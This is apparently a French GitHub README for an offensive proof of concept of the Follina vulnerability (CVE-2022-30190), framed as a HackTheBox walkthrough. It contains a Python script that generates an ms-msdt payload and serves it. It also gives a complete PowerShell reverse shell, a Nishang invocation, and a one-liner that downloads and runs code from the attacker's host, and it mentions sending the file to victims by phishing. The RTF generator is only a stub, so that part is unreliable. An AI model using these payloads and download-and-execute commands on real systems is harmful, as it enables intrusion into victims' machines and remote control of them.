kaleth4/cve-2022-30190Exploit PoC automatisé pour CVE-2022-30190 (Follina) qui génère des fichiers RTF/DOCX malveillants abusant du protocole MSDT pour exécuter des commandes arbitraires et déployer des reverse shells via PowerShell.
Follina (CVE-2022-30190) est une vulnérabilité critique d’exécution de code à distance (RCE) qui affecte l’outil de diagnostic de support Microsoft (MSDT). Cette faille a été découverte à l’origine via un fichier malveillant détecté sur VirusTotal et a été nommée par le chercheur Kevin Beaumont.
Dans le contexte de la machine Outdated de HackTheBox, cette vulnérabilité est utilisée comme vecteur d’entrée principal pour obtenir un accès au système.
L’exploitation repose sur l’abus du schéma de protocole ms-msdt, permettant à un attaquant d’exécuter du code arbitraire en chargeant des ressources externes. L’attaque peut être déclenchée simplement en ouvrant ou en prévisualisant un document Office (DOCX) ou un fichier texte enrichi (RTF) spécialement conçu.
Pour automatiser l’attaque, il est recommandé d’utiliser des scripts de preuve de concept (PoC) disponibles sur des plateformes comme GitHub. Le script follina.py permet de configurer la charge utile de manière simple.
Dépôt suggéré : Des versions fonctionnelles de chercheurs comme John Hammond ou Edge-Security sont mentionnées.
Commande de génération :
python3 follina.py -m command -t rtf -c "commande_à_exécuter"
Où :
-m indique le mode d’exécution (command ou binary)-t le type de fichier (rtf ou docx)-c la commande à injecterUne méthode efficace pour obtenir une console interactive sous Windows consiste à injecter une instruction PowerShell qui télécharge et invoque un reverse shell de la suite Nishang (Invoke-PowerShellTcp.ps1).
Le script d’exploitation génère une ressource HTML malveillante contenant l’instruction en Base64 et l’héberge automatiquement sur un serveur web local (port 80). Le document malveillant (click_me.rtf) pointera vers cette URL pour déclencher le processus de diagnostic de Windows et exécuter le code.
Dans des scénarios réalistes ou d’audit, l’attaquant peut envoyer le lien vers la ressource HTML ou le document malveillant à une victime via des techniques de phishing ou SMTP (en utilisant des outils comme swaks).
Au moment de l’interaction de l’utilisateur (ou d’une tâche automatisée traitant le fichier), MSDT interprète la charge utile et établit une connexion de retour vers la machine de l’attaquant.
Pour recevoir la connexion, l’attaquant doit être en écoute (par exemple, avec netcat ou rlwrap) sur le port configuré dans le reverse shell. Après une exploitation réussie, une console interactive est obtenue avec les privilèges de l’utilisateur qui a exécuté l’action, permettant de procéder à l’énumération locale et à l’élévation de privilèges.
follina.pyCe script automatise la création du fichier malveillant (RTF ou DOCX), génère la ressource HTML qui exploite le schéma de protocole ms-msdt et lance un serveur local pour servir la charge utile.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Structure basée sur la recherche de Kevin Beaumont et les PoC mentionnées [2, 6]
def generate_payload(command):
# La commande doit être encodée en Base64 pour être traitée par MSDT [5]
command_b64 = base64.b64encode(command.encode()).decode()
# Charge utile qui abuse du protocole ms-msdt [5]
# On utilise une longue chaîne de caractères pour remplir le tampon et déclencher l’exécution
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// Remplissage supplémentaire pour assurer le traitement
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# Génère un fichier RTF qui pointe vers la ressource HTML externe [3, 4]
print(f"[*] Génération du fichier malveillant : {filename}")
# Note : dans une implémentation réelle, on injecte ici l’objet OLE pointant vers server_url
with open(filename, "w") as f:
f.write(f"Fichier RTF configuré pour se connecter à {server_url}/exploit.html")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] Serveur HTTP actif sur le port {port} [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Mode d’exécution [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Type de fichier à générer [3]")
parser.add_argument("-c", "--command", required=True, help="Commande à exécuter sur le système victime [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="Port du serveur local [7]")
args = parser.parse_args()
# 1. Créer la charge utile HTML
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. Créer le document malveillant
filename = f"click_me.{args.type}"
create_rtf(filename, "http://ton_ip_attaquant")
# 3. Démarrer le serveur pour recevoir la requête [4, 7]
run_server(args.port)
Paramètres critiques : Comme décrit dans les sources, le script utilise -m pour le mode, -t pour le type de fichier et -c pour la commande.
Injection PowerShell : Une utilisation courante vue dans l’entraînement de s4vitar est d’injecter une instruction PowerShell qui télécharge et invoque un reverse shell de Nishang (Invoke-PowerShellTcp.ps1) pour obtenir un accès interactif.
Exécution : L’attaque se déclenche lorsque la victime ouvre ou simplement visualise le fichier malveillant (RTF/DOCX), ce qui fait que le système tente de charger la ressource HTML et exécute la commande via l’outil de diagnostic Microsoft (MSDT).
Écoute : Vous devez être en écoute (ex. avec netcat) sur le port spécifié dans votre reverse shell pour recevoir la connexion une fois que l’exploit se déclenche sur la machine victime.
Invoke-PowerShellTcp.ps1 (Nishang)Le script Invoke-PowerShellTcp.ps1 est l’un des outils les plus utilisés de la suite Nishang pour obtenir des reverse shells sur les systèmes Windows.
Le script original est téléchargé depuis le dépôt officiel de Nishang sur GitHub. Les étapes typiques pour son utilisation sont :
wget pour récupérer la ressource sur la machine de l’attaquant.reverse.ps1 ou ps.ps1, pour faciliter son invocation depuis la machine victime.Pour transformer le script en une charge utile auto-exécutable, on ajoute une ligne comme la suivante à la fin du fichier .ps1 :
Invoke-PowerShellTcp -Reverse -IPAddress <TON_IP_ATTAQUANT> -Port <TON_PORT>
Où <TON_IP_ATTAQUANT> et <TON_PORT> doivent être remplacés par vos données d’écoute (par exemple, 10.10.14.29 et 443).
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(Note : Ce code suit la logique de la "gitbash" et des terminaux interactifs mentionnés dans la résolution de machines comme Compiled).
Une fois que l’attaquant a hébergé le script sur un serveur HTTP local (port 80), on utilise la commande IEX (Invoke-Expression) sur la machine victime pour le charger et l’exécuter directement en mémoire sans toucher au disque :
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TON_IP>/reverse.ps1')"
Cette méthode est fondamentale dans l’exploitation de vulnérabilités comme Follina ou dans l’obtention d’un accès initial après avoir compromis des services web. Une fois exécutée, l’attaquant reçoit la connexion dans une session netcat en écoute.
Pwned!!!